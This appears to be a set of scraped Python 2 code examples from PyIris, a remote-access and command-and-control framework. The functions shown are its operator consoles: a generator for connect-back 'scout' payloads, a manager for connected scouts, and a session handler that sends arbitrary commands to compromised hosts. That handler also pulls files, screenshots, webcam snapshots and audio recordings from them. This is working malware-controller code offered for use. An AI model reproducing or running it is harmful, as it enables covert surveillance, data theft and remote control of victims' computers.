def cleanup():
    try:
        try:
            confirmation = raw_input('\n' + cfg.user_in +
                                     'Are you sure you want to quit [y/n] : ')
        except EOFError:
            try:
                time.sleep(1)
            except KeyboardInterrupt:
                clear_screen.clear()
                show_banner.banner()
                return
        except KeyboardInterrupt:
            clear_screen.clear()
            return
        if confirmation == 'y':
            print cfg.shutdown
            if cfg.db_listeners:
                print cfg.note + 'Killing all active listeners...'
                cfg.db_listeners = []
                time.sleep(5)
            if cfg.db_scouts:
                try:
                    print cfg.note + 'Disconnecting all scouts...'
                    for i in cfg.db_scouts:
                        try:
                            i[5].sendall('sleep 60' + cfg.End)
                        except:
                            pass
                except IndexError:
                    print cfg.err + 'Error disconnecting scouts'
            print cfg.note + 'Exiting program...'
            os._exit(1)
        else:
            clear_screen.clear()
            show_banner.banner()
    except EOFError:
        try:
            time.sleep(1)
        except KeyboardInterrupt:
            print '\n' + cfg.err + 'Skipping cleanup steps...'
            print cfg.note + 'Exiting program...'
            os._exit(1)
    except KeyboardInterrupt:
        print '\n' + cfg.err + 'Skipping cleanup steps...'
        print cfg.note + 'Exiting program...'
        os._exit(1)
Exemple #2
0
def generator_handler_console():
    set_for = ''
    scout_default_values = {
        'Hostname': ['127.0.0.1', 'Host address to connect back to'],
        'Port': [9999, 'Host port to connect back on'],
        'Key': [
            cfg.listener_key,
            'Listener key to be sent to listener in order to gain access'
        ],
        'SleepTime':
        ['5', 'Duration for scout to sleep if it cannot connect to listener']
    }
    while True:
        try:
            if not set_for:
                command_input = raw_input(cfg.prompt_generator).strip()
            else:
                command_input = raw_input(
                    '\x1b[1m\x1b[37mPyIris (\x1b[0m' +
                    '\x1b[1m\x1b[32mGenerator\x1b[0m \x1b[1m\x1b[37m:\x1b[0m \x1b[1m\x1b[32m'
                    + set_for + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip()
            option = command_input.split(' ')[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.generator_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(
                        command_input.split(' ', 1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'configs':
                if not set_for:
                    print cfg.err + 'No payload has been chosen yet, run the "use" command'
                else:
                    print cfg.note + 'Setting for : ' + set_for
                config = [['    Option', 'Value', 'Information'],
                          ['    ======', '=====', '===========']]
                for o, v in scout_default_values.items():
                    config.append(['    ' + o, str(v[0]), v[1]])
                print '\n'
                l = [len(max(i, key=len)) for i in zip(*config)]
                print('\n'.join('     '.join(item[i].ljust(l[i])
                                             for i in range(len(l)))
                                for item in config)) + '\n'
            elif option == 'set':
                try:
                    scout_default_values[command_input.split(
                        ' ')[1]][0] = command_input.split(' ', 2)[2]
                    print cfg.pos + 'Set ' + command_input.split(
                        ' ')[1] + ' to ' + command_input.split(' ', 2)[2]
                except (IndexError, KeyError):
                    print cfg.err + 'Invalid syntax, specify valid option and value'
            elif option == 'show':
                for i in cfg.payload_templates_list:
                    print i
            elif option == 'reset':
                scout_default_values = {
                    'Hostname':
                    ['127.0.0.1', 'Host address to connect back to'],
                    'Port': [9999, 'Host port to connect back on'],
                    'Key': [
                        cfg.listener_key,
                        'Listener key to be sent to listener in order to gain access'
                    ],
                    'SleepTime': [
                        '5',
                        'Duration for scout to sleep if it cannot connect to listener'
                    ]
                }
                print cfg.pos + 'Reset all values'
            elif option == 'use':
                try:
                    payload_type = command_input.split(' ')[1]
                    if payload_type in cfg.payload_templates_list:
                        set_for = payload_type
                        print cfg.pos + 'Set payload to : ' + set_for
                    else:
                        raise IndexError
                except IndexError:
                    print cfg.err + 'Invalid payload, run "show" to see all payloads'
            elif option == 'generate':
                folder = None
                try:
                    folder = command_input.split(' ', 1)[1]
                except IndexError:
                    pass
                if not set_for:
                    print cfg.err + 'Cannot generate, no payload set, run "use"'
                    continue
                generate_payload_with_template.generate_payload(
                    set_for, scout_default_values, folder)
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)
def scout_console():
    while True:
        try:
            command_input = raw_input(cfg.prompt_scouts).strip()
            option = command_input.split(' ', 1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.scout_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(
                        command_input.split(' ', 1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'bridge':
                found_target = False
                try:
                    tar_id = command_input.split(' ', 1)[1]
                except IndexError:
                    print cfg.err + 'Provide a scout ID'
                    continue
                for i in range(len(cfg.db_scouts)):
                    if str(cfg.db_scouts[i][0]) == tar_id:
                        found_target = True
                        tar_id = i
                        break
                if found_target:
                    generic_handler.payload_handler(tar_id)
                else:
                    print cfg.err + 'Invalid scout ID'
            elif option == 'kill':
                try:
                    killed_scout = False
                    if command_input.split(' ', 1)[1] == 'all':
                        if cfg.db_scouts:
                            for i in cfg.db_scouts:
                                i[5].sendall('terminate' + cfg.End)
                            cfg.db_scouts = []
                            print cfg.pos + 'Terminated all scouts'
                        else:
                            print cfg.err + 'No connected scouts'
                        continue
                    for i in cfg.db_scouts:
                        if str(i[0]) == command_input.split(' ', 1)[1]:
                            i[5].sendall('terminate' + cfg.End)
                            cfg.db_scouts.pop(cfg.db_scouts.index(i))
                            print cfg.pos + 'Terminated scout : ' + str(i[0])
                            killed_scout = True
                            break
                    if not killed_scout:
                        print cfg.err + 'Could not kill scout of ID : ' + command_input.split(
                            ' ', 1)[1]
                except IndexError:
                    print cfg.err + 'Invalid ID'
                except (socket.error, socket.timeout):
                    print cfg.err + 'Scout seems to be dead, removing from database'
                    for i in cfg.db_scouts:
                        if str(i[0]) == command_input.split(' ', 1)[1]:
                            cfg.db_scouts.pop(cfg.db_scouts.index(i))
                            break
            elif option == 'ping':
                try:
                    found_target = False
                    try:
                        if command_input.split(' ', 1)[1] == 'all':
                            if cfg.db_scouts:
                                for i in range(len(cfg.db_scouts)):
                                    try:
                                        cfg.db_scouts[i][5].sendall('ping' +
                                                                    cfg.End)
                                        cfg.db_scouts[i][5].settimeout(6)
                                        print cfg.note + 'Scout : ' + str(
                                            cfg.db_scouts[i][0]
                                        ) + '\n' + cfg.db_scouts[i][5].recv(
                                            99999)[:-len(cfg.End)].replace(
                                                '[+]', cfg.pos, 1) + '\n'
                                        cfg.db_scouts[i][5].settimeout(None)
                                    except (socket.timeout, socket.error):
                                        print cfg.note + 'Scout : ' + str(
                                            cfg.db_scouts[i][0]
                                        ) + '\n' + cfg.err + 'Scout is dead, no reply reveived\n'
                                continue
                        for i in range(len(cfg.db_scouts)):
                            if str(cfg.db_scouts[i][0]) == command_input.split(
                                    ' ', 1)[1]:
                                found_target = True
                                tar_id = i
                                break
                        if found_target:
                            cfg.db_scouts[tar_id][5].sendall('ping' + cfg.End)
                            cfg.db_scouts[tar_id][5].settimeout(6)
                            print cfg.db_scouts[tar_id][5].recv(
                                99999)[:-len(cfg.End)].replace(
                                    '[+]', cfg.pos, 1)
                            cfg.db_scouts[tar_id][5].settimeout(None)
                        else:
                            print cfg.err + 'Invalid Scout ID'
                    except IndexError:
                        print cfg.err + 'Invalid Scout ID'
                        continue
                except (socket.error, socket.timeout):
                    print cfg.err + 'Scout is dead, no reply received'
            elif option == 'show':
                print '\n' + cfg.note + 'Currently active scouts :\n'
                if cfg.db_scouts:
                    scout_data = [[
                        'ID', 'IP address', 'Identifying Name', 'Type',
                        'Operating System'
                    ],
                                  [
                                      '==', '==========', '================',
                                      '====', '================'
                                  ]]
                    for i in cfg.db_scouts:
                        scout_data.append([
                            str(i[0]),
                            str(i[1]),
                            str(i[2]),
                            str(i[3]),
                            str(i[4])
                        ])
                    l = [len(max(i, key=len)) for i in zip(*scout_data)]
                    print('\n'.join('     '.join(item[i].ljust(l[i])
                                                 for i in range(len(l)))
                                    for item in scout_data))
                    print '\n'
            elif option == 'sleep':
                try:
                    slept_scout = False
                    who_to_sleep = command_input.split(' ')[1]
                    how_long_to_sleep = command_input.split(' ')[2]
                    try:
                        int(how_long_to_sleep)
                    except:
                        print cfg.err + 'Invalid sleep value'
                        continue
                except IndexError:
                    print cfg.err + 'Invalid command syntax/command arguments'
                    continue
                if who_to_sleep == 'all':
                    if cfg.db_scouts:
                        for i in cfg.db_scouts:
                            try:
                                i[5].sendall('sleep ' + how_long_to_sleep +
                                             cfg.End)
                            except (socket.error, socket.timeout):
                                print cfg.err + 'Scout : ' + str(
                                    i[0]
                                ) + ' appears to be dead, removing from database'
                                cfg.db_scouts.pop(cfg.db_scouts.index(i))
                        cfg.db_scouts = []
                        print cfg.pos + 'Slept all scouts'
                    else:
                        print cfg.err + 'No connected scouts'
                else:
                    if cfg.db_scouts:
                        for i in cfg.db_scouts:
                            if str(i[0]) == who_to_sleep:
                                try:
                                    i[5].sendall('sleep ' + how_long_to_sleep +
                                                 cfg.End)
                                    cfg.db_scouts.pop(cfg.db_scouts.index(i))
                                    print cfg.pos + 'Slept scout of ID : ' + who_to_sleep
                                    slept_scout = True
                                    break
                                except (socket.error, socket.timeout):
                                    slept_scout = True
                                    print cfg.err + 'Scout : ' + str(
                                        i[0]
                                    ) + ' appears to be dead, removing from database'
                                    cfg.db_scouts.pop(cfg.db_scouts.index(i))
                        if not slept_scout:
                            print cfg.err + 'Invalid scout ID'
                    else:
                        print cfg.err + 'No connected scouts'
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)
Exemple #4
0
def main_handler_console():
    try:
        splash_screen.display_splash_screen()
        clear_screen.clear()
        show_banner.banner()
    except EOFError:
        try:
            time.sleep(2)
        except KeyboardInterrupt:
            cleanup_and_exit.cleanup()
    except KeyboardInterrupt:
        cleanup_and_exit.cleanup()
    while True:
        try:
            cfg.blacklisted_ip = list(set(cfg.blacklisted_ip))
            cfg.whitelisted_ip = list(set(cfg.whitelisted_ip))
            command_input = raw_input(cfg.prompt_default).strip()
            option = command_input.split(' ',1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.main_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(command_input.split(' ',1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option in ('add','rm'):
                set_globals.set_global_variables(command_input)
            elif option == 'change':
                change_session_values.change_values(command_input)
            elif option == 'fake':
                try:
                    new_fake_reply = command_input.split(' ',1)[1]
                except IndexError:
                    print cfg.err + 'Provide a fake reply'
                cfg.fake_reply = new_fake_reply
                print cfg.pos + 'Changed server fake reply'
            elif option == 'listeners':
                print cfg.pos + 'Switching...'
                listener_handler.listener_handler_console()
            elif option == 'scouts':
                print cfg.pos + 'Switching...'
                scout_handler.scout_console()
            elif option == 'generator':
                print cfg.pos + 'Switching...'
                generator_handler.generator_handler_console()
            elif option == 'show':
                print '\n' + cfg.note + 'Whitelisted IPs : ' + ', '.join(cfg.whitelisted_ip)
                print '\n' + cfg.note + 'Blacklisted IPs : ' + ', '.join(cfg.blacklisted_ip)
                print '\n' + cfg.note + 'Current default listener key : ' + cfg.listener_key
                print '\n' + cfg.note + 'Current default scout key : ' + cfg.scout_key
                print '\n' + cfg.note + 'Current listener fake reply : ' + cfg.fake_reply + '\n'
            elif option == 'reset':
                try:
                    option = command_input.split(' ')[1]
                    if option == 'wlist':
                        cfg.whitelisted_ip = []
                        print cfg.pos + 'reset value'
                    elif option == 'blist':
                        cfg.blacklisted_ip = []
                        print cfg.pos + 'reset value'
                    elif option == 'key':
                        cfg.listener_key = cfg.untouched_server_key
                        print cfg.pos + 'reset value'
                    elif option == 'sid':
                        cfg.scout_key = cfg.untouched_scout_identifier
                        print cfg.pos + 'reset value'
                    elif option == 'fake_reply':
                        cfg.fake_reply = 'Socket Server Running'
                        print cfg.pos + 'reset value'
                    elif option == 'all':
                        cfg.whitelisted_ip,cfg.blacklisted_ip = [],[]
                        cfg.listener_key,cfg.scout_key = cfg.untouched_server_key,cfg.untouched_scout_identifier
                        cfg.fake_reply = 'Socket Server Running'
                        print cfg.pos + 'reset all'
                    else:
                        raise IndexError
                except IndexError:
                    print cfg.err + 'Invalid command syntax/command arguments'
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            try:
                time.sleep(2)
            except KeyboardInterrupt:
                cleanup_and_exit.cleanup()
        except KeyboardInterrupt:
            cleanup_and_exit.cleanup()
Exemple #5
0
def payload_handler(id):
    print cfg.pos + 'Bridged to scout of ID : ' + str(cfg.db_scouts[id][0])
    prompt_handler = '\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' + cfg.db_scouts[id][3] + '\x1b[0m\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' + cfg.db_scouts[id][1] + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m'
    sock = cfg.db_scouts[id][5]
    while True:
        try:
            command_input = raw_input(prompt_handler).strip()
            option = command_input.split(' ',1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'local':
                try:
                    execute_local_command.execute(command_input.split(' ',1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'disconnect':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                cfg.db_scouts.pop(id)
                break
            elif option == 'terminate':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                cfg.db_scouts.pop(id)
                break
            elif option == 'sleep':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                if '[*]' in output:
                    cfg.db_scouts.pop(id)
                    break
            elif option == 'download':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.rstrip(cfg.End).split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded file succesfully'
                else:
                    print output
            elif option in ('upload','transport_kill','transport'):
                try:
                    file_name = command_input.split(' ', 1)[1]
                except:
                    print cfg.err + 'Specify file to upload'
                    continue
                if os.path.isfile(file_name):
                    f = open(file_name, 'rb')
                    data = f.read()
                    f.close()
                    sock.sendall(command_input.split(' ',1)[0]+' '+file_name + '|/' + data + cfg.End)
                    output = recv_all.recvall(sock)
                    print output
                else:
                    print cfg.err + 'File path/name is not valid'
            elif option == 'valids':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    load_output = output.split('|/')
                    for i in load_output:
                        print cfg.note + i
            elif option == 'active':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/')
                    for i in output:
                        if not i:
                            continue
                        print cfg.pos + i
                else:
                    print output
            elif option == 'drives':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/')
                    for i in output:
                        print cfg.pos + i
                else:
                    print output
            elif option == 'screen':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts screenshot as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == 'webcam':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts webcam snapshot as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == 'rec_audio':
                sock.sendall(command_input + cfg.End)
                print cfg.pos + 'Recording, please be patient '
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts audio recording as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == '':
                pass
            else:
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
        except socket.error as e:
            print cfg.err + 'Socket error detected : ' + str(e)
            print cfg.err + 'Stopping current session...'
            cfg.db_scouts.pop(id)
            print cfg.note + 'Returning...'
            return
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)